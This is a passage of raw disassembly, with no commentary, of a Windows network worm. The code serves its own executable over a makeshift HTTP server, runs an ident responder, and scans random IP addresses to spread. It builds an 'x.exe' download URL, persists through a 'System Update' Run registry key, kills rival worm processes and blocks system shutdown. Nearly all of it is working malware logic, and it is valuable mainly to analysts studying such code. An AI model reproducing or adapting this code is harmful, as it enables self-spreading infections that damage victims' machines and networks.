edi push 100h push eax push ebx call dword_315011A0 ; recv cmp eax, 0FFFFFFFFh jnz short loc_31501A93 push 1 jmp loc_31501B4E ; --------------------------------------------------------------------------- loc_31501A93: ; CODE XREF: sub_31501A62+28j mov esi, dword_31501120 lea eax, [ebp+var_100] push offset aGet ; "GET" push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_31501B5E lea eax, [ebp+var_100] push offset a_exe ; ".exe" push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_31501B5E mov esi, dword_3150119C push 0 push 3Dh push offset aHttp1_1200OkCo ; "HTTP/1.1 200 OK\r\nContent-Type: applicat"... push ebx call esi ; send push ds:dword_31506160 lea eax, [ebp+var_200] push offset aContentLengthU ; "Content-Length: %u\r\n\r\n" push eax call dword_3150113C ; wsprintfA add esp, 0Ch lea eax, [ebp+var_200] push 0 push eax call sub_31503A3E ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push ebx call esi ; send loc_31501B10: ; CODE XREF: sub_31501A62+E8j mov eax, ds:dword_31506160 mov ecx, 1000h sub eax, edi cmp eax, ecx jb short loc_31501B22 mov eax, ecx loc_31501B22: ; CODE XREF: sub_31501A62+BCj test eax, eax jz short loc_31501B51 push 0 push eax mov eax, ds:dword_31506158 add eax, edi push eax push ebx call esi ; send cmp eax, 0FFFFFFFFh jz short loc_31501B4C cmp eax, 1000h jb short loc_31501B51 push 64h add edi, eax call dword_315010A4 ; Sleep jmp short loc_31501B10 ; --------------------------------------------------------------------------- loc_31501B4C: ; CODE XREF: sub_31501A62+D5j push 2 loc_31501B4E: ; CODE XREF: sub_31501A62+2Cj pop eax jmp short loc_31501BA1 ; --------------------------------------------------------------------------- loc_31501B51: ; CODE XREF: sub_31501A62+C2j ; sub_31501A62+DCj push offset dword_3150615C call dword_315010E4 ; InterlockedIncrement jmp short loc_31501B7C ; --------------------------------------------------------------------------- loc_31501B5E: ; CODE XREF: sub_31501A62+49j ; sub_31501A62+61j mov esi, dword_3150119C push 0 push 15h push offset aHttp1_1200Ok ; "HTTP/1.1 200 OK\r\n\r\n\r\n" push ebx call esi ; send push 0 push 3 push offset dword_31505A84 push ebx call esi ; send loc_31501B7C: ; CODE XREF: sub_31501A62+FAj push 7D0h call dword_315010A4 ; Sleep push 2 push ebx call dword_315011A4 ; shutdown push ebx call dword_315011A8 ; closesocket push 0 call dword_315010E0 ; ExitThread xor eax, eax loc_31501BA1: ; CODE XREF: sub_31501A62+EDj pop edi pop esi pop ebx leave retn 4 sub_31501A62 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501BA8 proc near ; DATA XREF: sub_31501D96+14Bo var_130 = byte ptr -130h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 130h push ebx push edi call sub_315018BA lea eax, [ebp+var_130] push 104h push eax push offset aSystemUpdate ; "System Update" xor ebx, ebx push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov ds:dword_3150615C, ebx call sub_315023E4 add esp, 14h test eax, eax jnz loc_31501CDD push esi push ebx push ebx push 3 push ebx push 1 lea eax, [ebp+var_130] push 80000000h push eax call dword_315010F0 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_31501C14 push 1 call dword_315010E0 ; ExitThread loc_31501C14: ; CODE XREF: sub_31501BA8+62j push ebx push esi call dword_315010EC ; GetFileSize push eax mov ds:dword_31506160, eax call sub_31502800 pop ecx mov ds:dword_31506158, eax lea ecx, [ebp+var_4] push ebx push ecx push ds:dword_31506160 push eax push esi call dword_315010E8 ; ReadFile mov eax, [ebp+var_4] push esi mov ds:dword_31506160, eax call dword_315010BC ; CloseHandle push ebx push 1 push 2 call dword_3150118C ; socket push 10h mov edi, eax pop esi lea eax, [ebp+var_18] push esi push ebx push eax call sub_31503A38 ; memset add esp, 0Ch mov [ebp+var_18], 2 mov [ebp+var_14], ebx loc_31501C76: ; CODE XREF: sub_31501BA8+E5j ; sub_31501BA8+EDj ... call dword_31501124 ; rand add eax, 7D0h and eax, 1FFFh cmp al, bl mov ds:dword_3150618C, eax jz short loc_31501C76 xor ecx, ecx mov cl, ah test cl, cl jz short loc_31501C76 push eax call dword_31501194 ; ntohs mov [ebp+var_16], ax lea eax, [ebp+var_18] push esi push eax push edi call dword_31501170 ; bind test eax, eax jnz short loc_31501C76 push 64h push edi call dword_31501174 ; listen mov [ebp+var_8], esi pop esi loc_31501CBF: ; CODE XREF: sub_31501BA8+133j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_28] push eax push edi call dword_31501178 ; accept push eax push offset sub_31501A62 call sub_31501911 pop ecx pop ecx jmp short loc_31501CBF ; --------------------------------------------------------------------------- loc_31501CDD: ; CODE XREF: sub_31501BA8+3Dj push ebx call dword_315010E0 ; ExitThread pop edi xor eax, eax pop ebx leave retn 4 sub_31501BA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501CEC proc near ; CODE XREF: sub_31501D96:loc_31501EB6p var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h lea eax, [ebp+var_190] push esi mov esi, dword_3150116C push eax push 2 call esi ; WSAStartup lea eax, [ebp+var_190] push eax push 102h call esi ; WSAStartup pop esi leave retn sub_31501CEC endp ; --------------------------------------------------------------------------- loc_31501D18: ; CODE XREF: UPX1:31508558j push 0 call dword_315010C4 ; GetModuleHandleA push offset aFtpupd_exe ; "ftpupd.exe" mov ds:dword_31506190, eax call dword_31501094 ; DeleteFileA call sub_315018BA push offset aUterm13_2i ; "uterm13.2i" call sub_315018E8 pop ecx mov ds:dword_31506164, eax call dword_31501098 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_31501D5A push 1 call dword_3150109C ; ExitProcess loc_31501D5A: ; CODE XREF: UPX0:31501D50j call sub_31501727 call sub_31502548 call sub_315026C2 push offset sub_31501D96 call sub_315017AF test eax, eax pop ecx jz short loc_31501D7F push 0 call sub_31501D96 loc_31501D7F: ; CODE XREF: UPX0:31501D76j xor eax, eax retn ; =============== S U B R O U T I N E ======================================= sub_31501D82 proc near ; CODE XREF: sub_31501D96:loc_31501F04p ; sub_315020C4:loc_315020DDp ... push 0 push ds:dword_31506168 call dword_31501090 ; WaitForSingleObject neg eax sbb eax, eax inc eax retn sub_31501D82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501D96 proc near ; CODE XREF: UPX0:31501D7Ap ; DATA XREF: UPX0:31501D69o var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_315011B0 push offset loc_31503A80 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi push offset aU13_2ix ; "u13.2ix" xor edi, edi push edi push 1 push edi call dword_3150108C ; CreateEventA mov ds:dword_31506168, eax mov [ebp+var_4], edi push offset aU10x ; "u10x" call sub_31501A48 mov [esp+8+var_8], offset aU11x ; "u11x" call sub_31501A48 mov [esp+8+var_8], offset aU12x ; "u12x" call sub_31501A48 mov [esp+8+var_8], offset aU13x ; "u13x" call sub_31501A48 mov [esp+8+var_8], offset aU13ix ; "u13ix" call sub_31501A48 mov [esp+8+var_8], offset aU8 ; "u8" call sub_315018E8 mov [esp+8+var_8], offset aU9 ; "u9" call sub_315018E8 mov [esp+8+var_8], offset aU10 ; "u10" call sub_315018E8 mov [esp+8+var_8], offset aU11 ; "u11" call sub_315018E8 mov [esp+8+var_8], offset aU12 ; "u12" call sub_315018E8 mov [esp+8+var_8], offset aU13 ; "u13" call sub_315018E8 mov [esp+8+var_8], offset aU13i ; "u13i" call sub_315018E8 mov [esp+8+var_8], offset aU13_2i ; "u13.2i" call sub_315018E8 mov [esp+8+var_8], offset aU14 ; "u14" call sub_315018E8 pop ecx cmp [ebp+arg_0], edi jz short loc_31501EB6 push offset aWs2_32 ; "ws2_32" mov esi, dword_315010B4 call esi ; LoadLibraryA push offset aWininet ; "wininet" call esi ; LoadLibraryA push offset aMsvcrt ; "msvcrt" call esi ; LoadLibraryA push offset aAdvapi32 ; "advapi32" call esi ; LoadLibraryA push offset aUser32 ; "user32" call esi ; LoadLibraryA push offset aUterm13_2i ; "uterm13.2i" call sub_315018E8 pop ecx mov ds:dword_31506164, eax loc_31501EB6: ; CODE XREF: sub_31501D96+E5j call sub_31501CEC push edi push offset sub_31501F6B call sub_31501911 pop ecx pop ecx push 1F4h mov esi, dword_315010A4 call esi ; Sleep push edi push offset loc_31503408 call sub_315018F7 push edi push offset sub_31501BA8 call sub_315018F7 push edi push offset sub_31502BE8 call sub_315018F7 push edi push offset loc_315022D3 call sub_315018F7 add esp, 20h loc_31501F04: ; CODE XREF: sub_31501D96+185j call sub_31501D82 test eax, eax jnz short loc_31501F1D push edi call dword_31501038 ; AbortSystemShutdownA push 1388h call esi ; Sleep jmp short loc_31501F04 ; --------------------------------------------------------------------------- loc_31501F1D: ; CODE XREF: sub_31501D96+175j or [ebp+var_4], 0FFFFFFFFh call nullsub_1 xor eax, eax mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_31501D96 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_31501F3A proc near ; CODE XREF: sub_31501F6B+F9p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_31503A3E ; strlen test eax, eax pop ecx jbe short loc_31501F68 loc_31501F4D: ; CODE XREF: sub_31501F3A+2Cj mov al, [esi+edi] cmp al, 0Ah jz short loc_31501F58 cmp al, 0Dh jnz short loc_31501F5C loc_31501F58: ; CODE XREF: sub_31501F3A+18j and byte ptr [esi+edi], 0 loc_31501F5C: ; CODE XREF: sub_31501F3A+1Cj push edi inc esi call sub_31503A3E ; strlen cmp esi, eax pop ecx jb short loc_31501F4D loc_31501F68: ; CODE XREF: sub_31501F3A+11j pop edi pop esi retn sub_31501F3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31501F6B proc near ; DATA XREF: sub_31501D96+126o var_154 = dword ptr -154h var_148 = byte ptr -148h var_48 = byte ptr -48h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 148h push ebx mov [ebp+var_8], esp call sub_315018BA call dword_31501124 ; rand push 4 cdq pop ecx idiv ecx lea eax, [ebp+var_48] add edx, 3 push edx push eax call sub_31501932 lea eax, [ebp+var_48] mov ebx, offset dword_3150616C push eax push ebx call sub_31503A8C ; strcpy add esp, 10h mov [ebp+var_4], 10h push 0 push 1 push 2 call dword_3150118C ; socket push 0 mov [ebp+var_8], eax mov [ebp+var_18], 2 call dword_31501168 ; ntohl push 71h mov [ebp+var_14], eax call dword_31501194 ; ntohs push [ebp+var_4] mov [ebp+var_16], ax lea eax, [ebp+var_18] push eax push [ebp+var_8] call dword_31501170 ; bind test eax, eax jz short loc_31501FF7 push 1 pop eax loc_31501FF2: ; CODE XREF: sub_31501F6B+A2j pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_31501FF7: ; CODE XREF: sub_31501F6B+82j push esi push edi push 5 push [ebp+var_8] call dword_31501174 ; listen test eax, eax jz short loc_3150200F push 1 pop eax pop edi pop esi jmp short loc_31501FF2 ; --------------------------------------------------------------------------- loc_3150200F: ; CODE XREF: sub_31501F6B+9Bj mov edi, dword_315010A4 loc_31502015: ; CODE XREF: sub_31501F6B+C6j ; sub_31501F6B+E8j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_28] push eax push [ebp+var_8] call dword_31501178 ; accept mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_31502033 push 64h call edi ; Sleep jmp short loc_31502015 ; --------------------------------------------------------------------------- loc_31502033: ; CODE XREF: sub_31501F6B+C0j push 0 lea eax, [ebp+var_148] push 100h push eax push esi call dword_315011A0 ; recv test eax, eax jnz short loc_31502055 loc_3150204C: ; CODE XREF: sub_31501F6B+157j push esi call dword_315011A8 ; closesocket jmp short loc_31502015 ; --------------------------------------------------------------------------- loc_31502055: ; CODE XREF: sub_31501F6B+DFj and [ebp+eax+var_148], 0 lea eax, [ebp+var_148] push eax call sub_31501F3A lea eax, [ebp+var_148] mov [esp+154h+var_154], offset aUseridUnix ; " : USERID : UNIX : " push eax call sub_31503A86 ; strcat lea eax, [ebp+var_148] push ebx push eax call sub_31503A86 ; strcat lea eax, [ebp+var_148] push offset asc_31505B8C ; "\r\n" push eax call sub_31503A86 ; strcat add esp, 18h lea eax, [ebp+var_148] push 0 push eax call sub_31503A3E ; strlen pop ecx push eax lea eax, [ebp+var_148] push eax push esi call dword_3150119C ; send push 1388h call edi ; Sleep jmp short loc_3150204C sub_31501F6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315020C4 proc near ; DATA XREF: sub_31502128+55o ; sub_315021B0+6Ao ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_315020D3 push 1 pop eax jmp short locret_31502124 ; --------------------------------------------------------------------------- loc_315020D3: ; CODE XREF: sub_315020C4+8j mov al, byte ptr [ebp+arg_0+3] push ebx push esi mov [ebp+var_1], al xor bl, bl loc_315020DD: ; CODE XREF: sub_315020C4+5Aj call sub_31501D82 test eax, eax jnz short loc_31502120 call sub_31501A32 test eax, eax jz short loc_31502120 cmp [ebp+var_1], bl jz short loc_31502119 mov byte ptr [ebp+arg_0+3], bl push [ebp+arg_0] call sub_315011C0 movzx esi, ds:word_3150619C pop ecx call dword_31501124 ; rand cdq idiv esi add edx, esi push edx call dword_315010A4 ; Sleep loc_31502119: ; CODE XREF: sub_315020C4+2Ej inc bl cmp bl, 0FFh jb short loc_315020DD loc_31502120: ; CODE XREF: sub_315020C4+20j ; sub_315020C4+29j pop esi xor eax, eax pop ebx locret_31502124: ; CODE XREF: sub_315020C4+Dj leave retn 4 sub_315020C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502128 proc near ; DATA XREF: sub_315021B0+7Eo ; UPX0:31502365o arg_0 = dword ptr 8 push ebp mov ebp, esp cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_31502136 push 1 pop eax jmp short loc_315021AC ; --------------------------------------------------------------------------- loc_31502136: ; CODE XREF: sub_31502128+7j push ebx push esi push edi call sub_315018BA mov esi, dword_31501124 xor ebx, ebx loc_31502146: ; CODE XREF: sub_31502128+7Dj call sub_31501D82 test eax, eax jnz short loc_315021A7 call sub_31501A32 test eax, eax jz short loc_315021A7 call esi ; rand mov byte ptr [ebp+arg_0+2], al call esi ; rand push offset dword_31506194 mov byte ptr [ebp+arg_0+3], al call dword_315010E4 ; InterlockedIncrement push [ebp+arg_0] call sub_315011C0 test eax, eax pop ecx jnz short loc_31502189 push [ebp+arg_0] push offset sub_315020C4 call sub_31501911 pop ecx pop ecx loc_31502189: ; CODE XREF: sub_31502128+50j movzx edi, ds:word_3150619C call esi ; rand cdq idiv edi add edx, edi push edx call dword_315010A4 ; Sleep inc ebx cmp ebx, 8000h jl short loc_31502146 loc_315021A7: ; CODE XREF: sub_31502128+25j ; sub_31502128+2Ej pop edi pop esi xor eax, eax pop ebx loc_315021AC: ; CODE XREF: sub_31502128+Cj pop ebp retn 4 sub_31502128 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315021B0 proc near ; DATA XREF: UPX0:3150237Do var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx call sub_315018BA call sub_31501D82 test eax, eax jnz loc_31502269 push ebx mov ebx, dword_315010A4 push esi mov esi, dword_31501124 push edi loc_315021D6: ; CODE XREF: sub_315021B0+48j ; sub_315021B0+B0j call esi ; rand mov byte ptr [ebp+var_4+1], al call esi ; rand mov byte ptr [ebp+var_4+3], al call esi ; rand mov byte ptr [ebp+var_4+2], al loc_315021E5: ; CODE XREF: sub_315021B0+3Cj call esi ; rand cmp al, 7Fh mov byte ptr [ebp+var_4], al jz short loc_315021E5 call sub_315019F3 mov edi, [ebp+var_4] cmp edi, eax jz short loc_315021D6 call sub_31501A32 test eax, eax jz short loc_31502241 push offset dword_31506194 call dword_315010E4 ; InterlockedIncrement push edi call sub_315011C0 test eax, eax pop ecx jnz short loc_31502248 push edi push offset sub_315020C4 call sub_31501911 pop ecx mov [ebp+var_8], 4 pop ecx loc_3150222D: ; CODE XREF: sub_315021B0+8Dj push edi push offset sub_31502128 call sub_31501911 dec [ebp+var_8] pop ecx pop ecx jnz short loc_3150222D jmp short loc_31502248 ; --------------------------------------------------------------------------- loc_31502241: ; CODE XREF: sub_315021B0+51j push 2710h call ebx ; Sleep loc_31502248: ; CODE XREF: sub_315021B0+67j ; sub_315021B0+8Fj movzx edi, ds:word_3150619C call esi ; rand cdq idiv edi add edx, edi push edx call ebx ; Sleep call sub_31501D82 test eax, eax jz loc_315021D6 pop edi pop esi pop ebx loc_31502269: ; CODE XREF: sub_315021B0+11j push 0 call dword_315010E0 ; ExitThread xor eax, eax leave retn 4 sub_315021B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502277 proc near ; CODE XREF: UPX0:loc_3150233Ep ; UPX0:loc_315023A8p var_50 = byte ptr -50h var_28 = byte ptr -28h push ebp mov ebp, esp sub esp, 50h push esi call sub_315019F3 push eax call dword_31501190 ; inet_ntoa mov esi, dword_31501088 push eax lea eax, [ebp+var_28] push eax call esi ; lstrcpyA push ds:dword_3150618C lea eax, [ebp+var_28] push eax lea eax, [ebp+var_50] push offset aHttpSDX_exe ; "http://%s:%d/x.exe" push eax call dword_3150113C ; wsprintfA add esp, 10h lea eax, [ebp+var_50] push eax push offset word_31505002 call esi ; lstrcpyA push offset byte_31505000 call dword_315010A0 ; lstrlenA mov byte_31505000[eax], 0DFh pop esi leave retn sub_31502277 endp ; --------------------------------------------------------------------------- loc_315022D3: ; DATA XREF: sub_31501D96+161o push ecx push ecx push ebx push ebp push esi xor ebp, ebp push edi mov ds:dword_31506194, ebp call sub_31501A32 mov esi, dword_315010A4 mov edi, 1388h test eax, eax jnz short loc_31502301 loc_315022F5: ; CODE XREF: UPX0:315022FFj push edi call esi ; Sleep call sub_31501A32 test eax, eax jz short loc_315022F5 loc_31502301: ; CODE XREF: UPX0:315022F3j lea eax, [esp+14h] push ebp push eax call dword_3150115C ; InternetGetConnectedState test byte ptr [esp+14h], 2 push 50h mov ds:dword_31506198, ebp pop ebx mov ds:word_3150619C, 96h jz short loc_3150233E mov ds:dword_31506198, 1 mov ebx, 15Eh mov ds:word_3150619C, 14h loc_3150233E: ; CODE XREF: UPX0:31502324j call sub_31502277 mov ebp, [esp+14h] cmp ebp, 100007Fh jz short loc_3150235C push ebp push offset sub_315020C4 call sub_31501911 pop ecx pop ecx loc_3150235C: ; CODE XREF: UPX0:3150234Dj mov dword ptr [esp+10h], 4 loc_31502364: ; CODE XREF: UPX0:31502375j push ebp push offset sub_31502128 call sub_31501911 dec dword ptr [esp+18h] pop ecx pop ecx jnz short loc_31502364 test ebx, ebx jle short loc_3150238C loc_3150237B: ; CODE XREF: UPX0:3150238Aj push 0 push offset sub_315021B0 call sub_31501911 pop ecx dec ebx pop ecx jnz short loc_3150237B loc_3150238C: ; CODE XREF: UPX0:31502379j ; UPX0:31502398j ... call sub_31501A32 test eax, eax jz short loc_3150239A push edi call esi ; Sleep jmp short loc_3150238C ; --------------------------------------------------------------------------- loc_3150239A: ; CODE XREF: UPX0:31502393j ; UPX0:315023A6j call sub_31501A32 test eax, eax jnz short loc_315023A8 push edi call esi ; Sleep jmp short loc_3150239A ; --------------------------------------------------------------------------- loc_315023A8: ; CODE XREF: UPX0:315023A1j call sub_31502277 jmp short loc_3150238C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315023AF proc near ; CODE XREF: sub_31502548+8Cp ; sub_315026C2+11Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax push 0F003Fh push 0 push [ebp+arg_4] push [ebp+arg_0] call dword_3150102C ; RegOpenKeyExA test eax, eax jnz short loc_315023E2 push [ebp+arg_8] push [ebp+arg_4] call dword_31501030 ; RegDeleteValueA push [ebp+arg_4] call dword_31501034 ; RegCloseKey loc_315023E2: ; CODE XREF: sub_315023AF+1Cj pop ebp retn sub_315023AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315023E4 proc near ; CODE XREF: sub_31501BA8+33p ; sub_31502548+7Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_10] push esi mov [ebp+var_4], eax lea eax, [ebp+arg_10] push eax xor esi, esi push 0F003Fh push esi push [ebp+arg_4] push [ebp+arg_0] call dword_3150102C ; RegOpenKeyExA test eax, eax jz short loc_31502410 push 1 pop eax jmp short loc_3150243A ; --------------------------------------------------------------------------- loc_31502410: ; CODE XREF: sub_315023E4+25j lea eax, [ebp+var_4] push eax lea eax, [ebp+arg_4] push [ebp+arg_C] push eax push esi push [ebp+arg_8] push [ebp+arg_10] call dword_31501028 ; RegQueryValueExA test eax, eax jz short loc_3150242F push 2 pop esi loc_3150242F: ; CODE XREF: sub_315023E4+46j push [ebp+arg_10] call dword_31501034 ; RegCloseKey mov eax, esi loc_3150243A: ; CODE XREF: sub_315023E4+2Aj pop esi leave retn sub_315023E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3150243D proc near ; CODE XREF: sub_315025F6+96p ; sub_315026C2+7Cp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push esi xor esi, esi lea eax, [ebp+arg_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push [ebp+arg_4] push [ebp+arg_0] call dword_31501020 ; RegCreateKeyExA test eax, eax jz short loc_31502466 push 1 pop eax jmp short loc_3150248D ; --------------------------------------------------------------------------- loc_31502466: ; CODE XREF: sub_3150243D+22j push [ebp+arg_10] push [ebp+arg_C] push 1 push esi push [ebp+arg_8] push [ebp+arg_4] call dword_31501024 ; RegSetValueExA test eax, eax jz short loc_31502482 push 2 pop esi loc_31502482: ; CODE XREF: sub_3150243D+40j push [ebp+arg_4] call dword_31501034 ; RegCloseKey mov eax, esi loc_3150248D: ; CODE XREF: sub_3150243D+27j pop esi pop ebp retn sub_3150243D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502490 proc near ; CODE XREF: sub_31502548+98p var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx mov ebx, [ebp+arg_0] push esi push ebx call dword_315010A0 ; lstrlenA mov esi, eax dec esi test esi, esi jle loc_31502544 loc_315024B0: ; CODE XREF: sub_31502490+27j cmp byte ptr [esi+ebx], 5Ch jz short loc_315024B9 dec esi jns short loc_315024B0 loc_315024B9: ; CODE XREF: sub_31502490+24j push 0 push 2 call sub_31503ABC ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_31502544 push 128h lea eax, [ebp+var_128] push 0 push eax call sub_31503A38 ; memset add esp, 0Ch lea eax, [ebp+var_128] mov [ebp+var_128], 128h push eax push [ebp+arg_0] call sub_31503AB6 ; Process32First test eax, eax jz short loc_31502544 lea esi, [esi+ebx+1] loc_31502501: ; CODE XREF: sub_31502490+B2j lea eax, [ebp+var_104] push eax push esi call dword_31501120 ; strstr pop ecx test eax, eax pop ecx jz short loc_31502531 push [ebp+var_120] push 0 push 1F0FFFh call dword_315010C0 ; OpenProcess push 0 push eax call dword_31501080 ; TerminateProcess loc_31502531: ; CODE XREF: sub_31502490+83j lea eax, [ebp+var_128] push eax push [ebp+arg_0] call sub_31503AB0 ; Process32Next test eax, eax jnz short loc_31502501 loc_31502544: ; CODE XREF: sub_31502490+1Aj ; sub_31502490+38j ... pop esi pop ebx leave retn sub_31502490 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31502548 proc near ; CODE XREF: UPX0:31501D5Fp var_138 = byte ptr -138h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 138h push ebx push esi lea eax, [ebp+var_30] push edi mov [ebp+var_30], offset aWindowsSecurit ; "Windows Security Manager" mov [ebp+var_2C], offset aDiskDefragment ; "Disk Defragmenter" mov [ebp+var_28], offset aSystemRestoreS ; "System Restore Service" mov [ebp+var_24], offset aBotLoader ; "Bot Loader" mov [ebp+var_20], offset aSystray ; "SysTray" mov [ebp+var_1C], offset aWinupdate ; "WinUpdate" mov [ebp+var_18], offset aWindowsUpdateS ; "Windows Update Service" mov [ebp+var_14], offset aAvserve_exe ; "avserve.exe" mov [ebp+var_10], offset aAvserve2_exeup ; "avserve2.exeUpdate Service" mov [ebp+var_C], offset aMsConfigV13 ; "MS Config v13" mov [ebp+var_4], eax mov [ebp+var_8], 0Ah mov edi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov esi, 80000002h loc_315025B1: ; CODE XREF: sub_31502548+A7j mov eax, [ebp+var_4] push 104h mov ebx, [eax] lea eax, [ebp+var_138] push eax push ebx push edi push esi call sub_315023E4 add esp, 14h test eax, eax jnz short loc_315025E8 push ebx push edi push esi call sub_315023AF lea eax, [ebp+var_138] push eax call sub_31502490 add esp, 10h loc_315025E8: ; CODE XREF: sub_31502548+87j add [ebp+var_4], 4 dec [ebp+var_8] jnz short loc_315025B1 pop edi pop esi pop ebx leave retn sub_31502548 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315025F6 proc near ; CODE XREF: sub_315026C2+D1p ; sub_315026C2+132p var_78 = byte ptr -78h var_14 = byte ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 78h cmp [ebp+arg_0], 0 jz short loc_3150260B push [ebp+arg_0] call dword_31501094 ; DeleteFileA loc_3150260B: ; CODE XREF: sub_315025F6+Aj lea eax, [ebp+var_78] push 63h push eax call dword_31501068 ; GetSystemDirectoryA test eax, eax jz locret_315026C0 push esi call dword_31501124 ; rand and eax, 3 add eax, 5 push eax lea eax, [ebp+var_14] push eax call sub_31501932 mov esi, dword_3150106C pop ecx pop ecx lea eax, [ebp+var_14] push offset a_exe ; ".exe" push eax call esi ; lstrcatA lea eax, [ebp+var_78] push offset asc_31505CF0 ; "\\" push eax call esi ; lstrcatA lea eax, [ebp+var_14] push eax lea eax, [ebp+var_78] push eax call esi ; lstrcatA lea eax, [ebp+var_78] push 0 push eax push [ebp+arg_4] call dword_31501070 ; CopyFileA lea eax, [ebp+var_78] push eax call dword_315010A0 ; lstrlenA inc eax push eax lea eax, [ebp+var_78] push eax push offset aSystemUpdate ; "System Update" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_3150243D add esp, 14h push ds:dword_31506164 call dword_315010BC ; CloseHandle lea eax, [ebp+var_78] push 0 push eax call dword_31501074 ; WinExec push 1F4h call dword_315010A4 ; Sleep push 0 call dword_3150109C ; ExitProcess pop esi locret_315026C0: ; CODE XREF: sub_315025F6+23j leave retn sub_315025F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_315026C2 proc near ; CODE XREF: UPX0:31501D64p var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi lea eax, [ebp+var_84] push 63h push eax push 0 call dword_31501060 ; GetModuleFileNameA test eax, eax jz loc_315027FB and ds:dword_315061A0, 0 lea eax, [ebp+var_20] push 1Dh push eax mov edi, offset aSoftwareMicr_0 ; "Software\\Microsoft\\Wireless" push offset aId ; "ID" mov esi, 80000002h push edi push esi call sub_315023E4 add esp, 14h test eax, eax jz short loc_31502748 call dword_31501124 ; rand push 0Ah mov ebx, offset aEwpkcorawtj ; "ewpkcorawtj" cdq pop ecx idiv ecx add edx, ecx push edx push ebx call sub_31501932 pop ecx pop ecx push ebx call dword_315010A0 ; lstrlenA inc eax push eax push ebx push offset aId ; "ID" push edi push esi call sub_3150243D add esp, 14h jmp short loc_31502757 ; --------------------------------------------------------------------------- loc_31502748: ; CODE XREF: sub_315026C2+4Dj lea eax, [ebp+var_20] push eax push offset aEwpkcorawtj ; "ewpkcorawtj" call dword_31501088 ; lstrcpyA loc_31502757: ; CODE XREF: sub_315026C2+84j lea eax, [ebp+var_E8] push 63h push eax push offset aSystemUpdate ; "System Update" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push esi call sub_315023E4 add esp, 14h test eax, eax jz short loc_3150279D push 2 push offset a1 ; "1" push offset aClient ; "Client" push edi push esi call sub_3150243D lea 